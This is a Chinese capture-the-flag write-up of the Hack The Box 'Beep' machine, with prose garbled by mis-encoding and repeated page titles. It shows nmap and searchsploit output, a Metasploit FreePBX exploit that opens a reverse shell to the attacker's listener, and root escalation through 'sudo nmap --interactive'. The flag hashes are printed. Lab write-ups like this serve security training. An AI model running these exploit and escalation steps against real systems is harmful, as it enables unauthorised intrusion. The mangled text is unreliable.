æ¬é¢æ¯retireæºå¨çç¬¬äºå°äº

ç®å½

0x00 é¶åºä¿¡æ¯

0x01 ä¿¡æ¯æé

0x02 ä¸å¡æ¢æµ

80ç«¯å£ä¸»é¡µï¼elastix freepbx

80ç«¯å£mailä¸å¡ï¼roundcube webmail

10000ç«¯å£ï¼webmin

0x03 æ¼æ´åæ

elastix

roundcube

Â webmin

0x03 webæ»å»

roundcube

webmin

elastic

0x04 ææ

0x00 é¶åºä¿¡æ¯

HTB Beep[Hack The Box HTB靶場]writeup系列50x00 靶場資訊0x01 資訊搜集0x02 業務探測0x03 漏洞分析0x03 web攻擊0x04 提權

0x01 ä¿¡æ¯æé

æä»¬ååä¸ç«¯å£æ«æï¼çä¸ç»æå¦ä¸ï¼

[emailÂ protected]:~# nmap -T5 -A -v 10.10.10.7
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-02 21:39 EST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 21:39
Completed NSE at 21:39, 0.00s elapsed
Initiating NSE at 21:39
Completed NSE at 21:39, 0.00s elapsed
Initiating NSE at 21:39
Completed NSE at 21:39, 0.00s elapsed
Initiating Ping Scan at 21:39
Scanning 10.10.10.7 [4 ports]
Completed Ping Scan at 21:39, 0.31s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:39
Completed Parallel DNS resolution of 1 host. at 21:39, 0.26s elapsed
Initiating SYN Stealth Scan at 21:39
Scanning 10.10.10.7 [1000 ports]
Discovered open port 110/tcp on 10.10.10.7
Discovered open port 25/tcp on 10.10.10.7
Discovered open port 3306/tcp on 10.10.10.7
Discovered open port 80/tcp on 10.10.10.7
Discovered open port 22/tcp on 10.10.10.7
Discovered open port 993/tcp on 10.10.10.7
Discovered open port 995/tcp on 10.10.10.7
Discovered open port 111/tcp on 10.10.10.7
Discovered open port 443/tcp on 10.10.10.7
Discovered open port 143/tcp on 10.10.10.7
Discovered open port 10000/tcp on 10.10.10.7
Discovered open port 4445/tcp on 10.10.10.7
Increasing send delay for 10.10.10.7 from 0 to 5 due to 423 out of 1057 dropped probes since last increase.
Completed SYN Stealth Scan at 21:39, 7.34s elapsed (1000 total ports)
Initiating Service scan at 21:39
Scanning 12 services on 10.10.10.7
Completed Service scan at 21:42, 167.37s elapsed (12 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.7
Retrying OS detection (try #2) against 10.10.10.7
Initiating Traceroute at 21:42
Completed Traceroute at 21:42, 0.41s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 21:42
Completed Parallel DNS resolution of 2 hosts. at 21:42, 0.90s elapsed
NSE: Script scanning 10.10.10.7.
Initiating NSE at 21:42
Completed NSE at 21:42, 37.18s elapsed
Initiating NSE at 21:42
Completed NSE at 21:45, 156.81s elapsed
Initiating NSE at 21:45
Completed NSE at 21:45, 0.00s elapsed
Nmap scan report for 10.10.10.7
Host is up (0.28s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp    open  smtp       Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
80/tcp    open  http       Apache httpd 2.2.3
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.10.10.7/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
110/tcp   open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: UIDL TOP STLS PIPELINING IMPLEMENTATION(Cyrus POP3 server v2) AUTH-RESP-CODE USER EXPIRE(NEVER) APOP LOGIN-DELAY(0) RESP-CODES
111/tcp   open  rpcbind    2 (RPC #100000)
143/tcp   open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: QUOTA THREAD=ORDEREDSUBJECT NO X-NETSCAPE URLAUTHA0001 NAMESPACE OK CHILDREN IDLE UIDPLUS LISTEXT LIST-SUBSCRIBED CONDSTORE ACL MAILBOX-REFERRALS MULTIAPPEND ANNOTATEMORE THREAD=REFERENCES RENAME LITERAL+ Completed ID SORT=MODSEQ STARTTLS ATOMIC RIGHTS=kxte IMAP4 SORT IMAP4rev1 CATENATE UNSELECT BINARY
443/tcp   open  ssl/https?
|_ssl-date: 2020-02-03T03:44:17+00:00; +1h01m28s from scanner time.
993/tcp   open  ssl/imap   Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp   open  pop3       Cyrus pop3d
3306/tcp  open  mysql      MySQL (unauthorized)
4445/tcp  open  upnotifyp?
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: 74F7F6F633A027FA3EA36F05004C9341
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Aggressive OS guesses: Linux 2.6.9 - 2.6.24 (95%), Linux 2.6.9 - 2.6.30 (95%), Linux 2.6.27 (likely embedded) (95%), Linux 2.6.20-1 (Fedora Core 5) (95%), Linux 2.6.5 - 2.6.12 (95%), Linux 2.6.18 (95%), Linux 2.6.18 - 2.6.32 (95%), Linux 2.6.22 - 2.6.23 (95%), Linux 2.6.27 (95%), Linux 2.6.30 (95%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.527 days (since Sun Feb  2 09:06:18 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts:  beep.localdomain, 127.0.0.1, example.com

Host script results:
|_clock-skew: 1h01m27s

TRACEROUTE (using port 8080/tcp)
HOP RTT       ADDRESS
1   408.95 ms 10.10.14.1
2   408.45 ms 10.10.10.7

NSE: Script Post-scanning.
Initiating NSE at 21:45
Completed NSE at 21:45, 0.00s elapsed
Initiating NSE at 21:45
Completed NSE at 21:45, 0.00s elapsed
Initiating NSE at 21:45
Completed NSE at 21:45, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 376.74 seconds
           Raw packets sent: 1502 (67.588KB) | Rcvd: 1127 (46.584KB)

çå°å¼äº80ï¼é£ä¹å°±åæ«æä¸ä¸ç®å½

HTB Beep[Hack The Box HTB靶場]writeup系列50x00 靶場資訊0x01 資訊搜集0x02 業務探測0x03 漏洞分析0x03 web攻擊0x04 提權

0x02 ä¸å¡æ¢æµ

80ç«¯å£ä¸»é¡µï¼elastix freepbx

HTB Beep[Hack The Box HTB靶場]writeup系列50x00 靶場資訊0x01 資訊搜集0x02 業務探測0x03 漏洞分析0x03 web攻擊0x04 提權

80ç«¯å£mailä¸å¡ï¼roundcube webmail

HTB Beep[Hack The Box HTB靶場]writeup系列50x00 靶場資訊0x01 資訊搜集0x02 業務探測0x03 漏洞分析0x03 web攻擊0x04 提權

10000ç«¯å£ï¼webmin

HTB Beep[Hack The Box HTB靶場]writeup系列50x00 靶場資訊0x01 資訊搜集0x02 業務探測0x03 漏洞分析0x03 web攻擊0x04 提權

0x03 æ¼æ´åæ

elastix

[emailÂ protected]:~# searchsploit elastix
---------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                                                        |  Path
                                                                                                                                                                      | (/usr/share/exploitdb/)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Elastix - 'page' Cross-Site Scripting                                                                                                                                 | exploits/php/webapps/38078.py
Elastix - Multiple Cross-Site Scripting Vulnerabilities                                                                                                               | exploits/php/webapps/38544.txt
Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities                                                                                                         | exploits/php/webapps/34942.txt
Elastix 2.2.0 - 'graph.php' Local File Inclusion                                                                                                                      | exploits/php/webapps/37637.pl
Elastix 2.x - Blind SQL Injection                                                                                                                                     | exploits/php/webapps/36305.txt
Elastix < 2.5 - PHP Code Injection                                                                                                                                    | exploits/php/webapps/38091.php
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution                                                                                                                | exploits/php/webapps/18650.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

roundcube

[emailÂ protected]:~# searchsploit roundcube
---------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                                                        |  Path
                                                                                                                                                                      | (/usr/share/exploitdb/)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Roundcube 1.2.2 - Remote Code Execution                                                                                                                               | exploits/php/webapps/40892.txt
Roundcube Webmail - Multiple Vulnerabilities                                                                                                                          | exploits/php/webapps/11036.txt
Roundcube Webmail 0.1 - 'index.php' Cross-Site Scripting                                                                                                              | exploits/php/webapps/28988.txt
Roundcube Webmail 0.1 - CSS Expression Input Validation                                                                                                               | exploits/php/webapps/30877.txt
Roundcube Webmail 0.2 - Cross-Site Scripting                                                                                                                          | exploits/php/webapps/33473.txt
Roundcube Webmail 0.2-3 Beta - Code Execution                                                                                                                         | exploits/php/webapps/7549.txt
Roundcube Webmail 0.2b - Remote Code Execution                                                                                                                        | exploits/php/webapps/7553.sh
Roundcube Webmail 0.3.1 - Cross-Site Request Forgery / SQL Injection                                                                                                  | exploits/php/webapps/17957.txt
Roundcube Webmail 0.8.0 - Persistent Cross-Site Scripting                                                                                                             | exploits/php/webapps/20549.py
Roundcube Webmail 1.1.3 - Directory Traversal                                                                                                                         | exploits/php/webapps/39245.txt
Roundcube rcfilters plugin 2.1.6 - Cross-Site Scripting                                                                                                               | exploits/linux/webapps/45437.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

å¦å¤éè¿roundcubeçsqlæä»¶åæ

HTB Beep[Hack The Box HTB靶場]writeup系列50x00 靶場資訊0x01 資訊搜集0x02 業務探測0x03 漏洞分析0x03 web攻擊0x04 提權

å¯ä»¥çå°roundcubeæ¾ç¤ºççæ¬æ¯0.3.1

Â webmin

[emailÂ protected]:~# searchsploit webmin
---------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                                                        |  Path
                                                                                                                                                                      | (/usr/share/exploitdb/)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
DansGuardian Webmin Module 0.x - 'edit.cgi' Directory Traversal                                                                                                       | exploits/cgi/webapps/23535.txt
Webmin - Brute Force / Command Execution                                                                                                                              | exploits/multiple/remote/705.pl
Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing                                                                                                           | exploits/linux/remote/22275.pl
Webmin 0.x - 'RPC' Privilege Escalation                                                                                                                               | exploits/linux/remote/21765.pl
Webmin 0.x - Code Input Validation                                                                                                                                    | exploits/linux/local/21348.txt
Webmin 1.5 - Brute Force / Command Execution                                                                                                                          | exploits/multiple/remote/746.pl
Webmin 1.5 - Web Brute Force (CGI)                                                                                                                                    | exploits/multiple/remote/745.pl
Webmin 1.580 - '/file/show.cgi' Remote Command Execution (Metasploit)                                                                                                 | exploits/unix/remote/21851.rb
Webmin 1.850 - Multiple Vulnerabilities                                                                                                                               | exploits/cgi/webapps/42989.txt
Webmin 1.900 - Remote Command Execution (Metasploit)                                                                                                                  | exploits/cgi/remote/46201.rb
Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)                                                                                                | exploits/linux/remote/46984.rb
Webmin 1.920 - Remote Code Execution                                                                                                                                  | exploits/linux/webapps/47293.sh
Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)                                                                                                     | exploits/linux/remote/47230.rb
Webmin 1.x - HTML Email Command Execution                                                                                                                             | exploits/cgi/webapps/24574.txt
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (PHP)                                                                                                    | exploits/multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (Perl)                                                                                                   | exploits/multiple/remote/2017.pl
phpMyWebmin 1.0 - 'target' Remote File Inclusion                                                                                                                      | exploits/php/webapps/2462.txt
phpMyWebmin 1.0 - 'window.php' Remote File Inclusion                                                                                                                  | exploits/php/webapps/2451.txt
webmin 0.91 - Directory Traversal                                                                                                                                     | exploits/cgi/remote/21183.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

0x03 webæ»å»

roundcube

ææµè¯åç°0.3.1çcsrfæ¼æ´æ¯ææçï¼sqlæ³¨å¥æ æ³éç°

HTB Beep[Hack The Box HTB靶場]writeup系列50x00 靶場資訊0x01 資訊搜集0x02 業務探測0x03 漏洞分析0x03 web攻擊0x04 提權

webmin

webminçå ä¸ªè¿ç¨æ§è¡æ¼æ´é½éè¦æä¾ç¨æ·åå¯ç

æªæææ§è¡å½ä»¤çæ¼æ´æµè¯æ æ³æ§è¡

msf5 > use exploit/47230                                                                                                                                              
msf5 exploit(47230) > show options                                                                                                                                                                             
                                                                                                                                                                                                               
Module options (exploit/47230):                                                                                                                                                                                
                                                                                                                                                                                                               
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.7       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      10000            yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_python):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.20      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL  /bin/bash        yes       The system shell to use.


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910


msf5 exploit(47230) > run

[*] Started reverse TCP handler on 10.10.14.20:4444 
[-] Exploit aborted due to failure: not-vulnerable: Target is not vulnerable.
[*] Exploit completed, but no session was created.

elastic

å¨msfä¸æ¥æ¾ä¸ä¸elasticçæ¼æ´

msf5 > search elastix

Matching Modules
================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  exploit/unix/http/freepbx_callmenum  2012-03-20       manual  No     FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution

åªæä¸ä¸ªï¼æå°±ç´æ¥éç½®æ§è¡ï¼

msf5 > use unix/http/freepbx_callmenum
msf5 exploit(unix/http/freepbx_callmenum) > 

showmsf5 exploit(unix/http/freepbx_callmenum) > show options 

Module options (exploit/unix/http/freepbx_callmenum):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   EXTENSION  0-100            yes       A range of Local extension numbers
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf5 exploit(unix/http/freepbx_callmenum) > set extension 200-300
extension => 200-300
msf5 exploit(unix/http/freepbx_callmenum) > set rhosts 10.10.10.7
rhosts => 10.10.10.7
msf5 exploit(unix/http/freepbx_callmenum) > set rport 443
rport => 443
msf5 exploit(unix/http/freepbx_callmenum) > set ssl true
ssl => true
msf5 exploit(unix/http/freepbx_callmenum) > show options 

Module options (exploit/unix/http/freepbx_callmenum):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   EXTENSION  200-300          yes       A range of Local extension numbers
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.7       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf5 exploit(unix/http/freepbx_callmenum) > run

[*] Started reverse TCP double handler on 10.10.14.20:4444 
[*] 10.10.10.7:443 - Sending evil request with range 200
[*] 10.10.10.7:443 - Sending evil request with range 201
[*] 10.10.10.7:443 - Sending evil request with range 202
[*] 10.10.10.7:443 - Sending evil request with range 203
[*] 10.10.10.7:443 - Sending evil request with range 204
[*] 10.10.10.7:443 - Sending evil request with range 205
[*] 10.10.10.7:443 - Sending evil request with range 206
[*] 10.10.10.7:443 - Sending evil request with range 207
[*] 10.10.10.7:443 - Sending evil request with range 208
[*] 10.10.10.7:443 - Sending evil request with range 209
[*] 10.10.10.7:443 - Sending evil request with range 210
[*] 10.10.10.7:443 - Sending evil request with range 211
[*] 10.10.10.7:443 - Sending evil request with range 212
[*] 10.10.10.7:443 - Sending evil request with range 213
[*] 10.10.10.7:443 - Sending evil request with range 214
[*] 10.10.10.7:443 - Sending evil request with range 215
[*] 10.10.10.7:443 - Sending evil request with range 216
[*] 10.10.10.7:443 - Sending evil request with range 217
[*] 10.10.10.7:443 - Sending evil request with range 218
[*] 10.10.10.7:443 - Sending evil request with range 219
[*] 10.10.10.7:443 - Sending evil request with range 220
[*] 10.10.10.7:443 - Sending evil request with range 221
[*] 10.10.10.7:443 - Sending evil request with range 222
[*] 10.10.10.7:443 - Sending evil request with range 223
[*] 10.10.10.7:443 - Sending evil request with range 224
[*] 10.10.10.7:443 - Sending evil request with range 225
[*] 10.10.10.7:443 - Sending evil request with range 226
[*] 10.10.10.7:443 - Sending evil request with range 227
[*] 10.10.10.7:443 - Sending evil request with range 228
[*] 10.10.10.7:443 - Sending evil request with range 229
[*] 10.10.10.7:443 - Sending evil request with range 230
[*] 10.10.10.7:443 - Sending evil request with range 231
[*] 10.10.10.7:443 - Sending evil request with range 232
[*] 10.10.10.7:443 - Sending evil request with range 233
[*] 10.10.10.7:443 - Sending evil request with range 234
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo cSKXu5Bg1FmgoFlA;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\ncSKXu5Bg1FmgoFlA\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (10.10.14.20:4444 -> 10.10.10.7:59073) at 2020-02-03 11:16:17 -0500
[*] 10.10.10.7:443 - Sending evil request with range 235
[*] 10.10.10.7:443 - Sending evil request with range 236
ls
[*] 10.10.10.7:443 - Sending evil request with range 237
^C[-] Exploit failed [user-interrupt]: Interrupt 
[-] run: Interrupted
msf5 exploit(unix/http/freepbx_callmenum) > sessions 

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  2         shell cmd/unix               10.10.14.20:4444 -> 10.10.10.7:59073 (10.10.10.7)

msf5 exploit(unix/http/freepbx_callmenum) > sessions 2
[*] Starting interaction with 2...

pwd
/tmp
id
uid=100(asterisk) gid=101(asterisk)
cd /home
pwd
/home
ls
fanis
spamfilter
ls -l
total 12
drwxrwxr-x 2 fanis      fanis      4096 Apr  7  2017 fanis
drwx------ 2 spamfilter spamfilter 4096 Apr  7  2017 spamfilter
cd fanis
ls -l
total 4
-rw-rw-r-- 1 fanis fanis 33 Apr  7  2017 user.txt
cat user.txt
aeff3def0c765c2677b94715cffa73ac

æä»¬å¯ä»¥çå°å·²ç»åå¾äºwebshellï¼æ¿å°äºuserçflagãÂ

0x04 ææ

sudo -l
Matching Defaults entries for asterisk on this host:
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
    LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY"

User asterisk may run the following commands on this host:
    (root) NOPASSWD: /sbin/shutdown
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/bin/yum
    (root) NOPASSWD: /bin/touch
    (root) NOPASSWD: /bin/chmod
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /sbin/service
    (root) NOPASSWD: /sbin/init
    (root) NOPASSWD: /usr/sbin/postmap
    (root) NOPASSWD: /usr/sbin/postfix
    (root) NOPASSWD: /usr/sbin/saslpasswd2
    (root) NOPASSWD: /usr/sbin/hardware_detector
    (root) NOPASSWD: /sbin/chkconfig
    (root) NOPASSWD: /usr/sbin/elastix-helper
sudo nmap --interactive

Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
cd /root
ls -l
total 16248
-rw------- 1 root root     6025 Apr  7  2017 anaconda-ks.cfg
-r-xr-xr-x 1 root root   190461 Aug 10  2011 elastix-pr-2.2-1.i386.rpm
-rw-r--r-- 1 root root    18433 Apr  7  2017 install.log
-rw-r--r-- 1 root root        0 Apr  7  2017 install.log.syslog
-rw-r--r-- 1 root root        1 Apr  7  2017 postnochroot
-rw------- 1 root root       33 Apr  7  2017 root.txt
-r-xr-xr-x 1 root root 16358730 Oct 31  2011 webmin-1.570-1.noarch.rpm
cat root.txt
d88e006123842106982acce0aaf453f0

HTB Beep[Hack The Box HTB靶場]writeup系列50x00 靶場資訊0x01 資訊搜集0x02 業務探測0x03 漏洞分析0x03 web攻擊0x04 提權

0x00 é¶åºä¿¡æ¯

0x01 ä¿¡æ¯æé

0x02 ä¸å¡æ¢æµ

80ç«¯å£ä¸»é¡µï¼elastix freepbx

80ç«¯å£mailä¸å¡ï¼roundcube webmail

10000ç«¯å£ï¼webmin

0x03 æ¼æ´åæ

elastix

roundcube

Â webmin

0x03 webæ»å»

roundcube

webmin

elastic

0x04 ææ

繼續閱讀

搭建Metasploitable靶機搭建Metasploitable靶機

DC-1靶機提權root前言一、檢視目前權限二、suid提權總結

DC-4靶機攻略前言一、DC-4的資訊收集二、通過暴力破解密碼，成功登陸三. 抓包改指令，為我所用四.ssh登陸總結- - -思路

vulnhub系列 DC3靶機

Hack The Box——Tabby簡介資訊收集漏洞發現漏洞利用權限提升總結

HTB靶場系列 linux靶機 Node靶機

HTB靶場系列 Windows靶機 Granny靶機

vuluhub靶場實戰之breach1.0

vulnhub滲透系列之FristiLeaks: 1.3

hack the box archetype 靶場練習

hack the box oopsie 靶場練習

hack the box sheild 靶場練習

hack the box vaccine 靶場練習

FUNBOX-5靶機FUNBOX-5靶機

vulnhub sar 靶場練習

[Vulnhub] DC-5靶機滲透

HTB Beep[Hack The Box HTB靶場]writeup系列50x00 靶場資訊0x01 資訊搜集0x02 業務探測0x03 漏洞分析0x03 web攻擊0x04 提權

0x00 é¶åºä¿¡æ¯

0x01 ä¿¡æ¯æé

0x02 ä¸å¡æ¢æµ

80ç«¯å£ä¸»é¡µï¼elastix freepbx

80ç«¯å£mailä¸å¡ï¼roundcube webmail

10000ç«¯å£ï¼webmin

0x03 æ¼æ´åæ

elastix

roundcube

Â webmin

0x03 webæ»å»

roundcube

webmin

elastic

0x04 ææ

繼續閱讀

0x00 é¶åºä¿¡æ¯

0x01 ä¿¡æ¯æé

0x02 ä¸å¡æ¢æµ

80ç«¯å£ä¸»é¡µï¼elastix freepbx

80ç«¯å£mailä¸å¡ï¼roundcube webmail

10000ç«¯å£ï¼webmin

0x03 æ¼æ´åæ

0x03 webæ»å»

0x04 ææ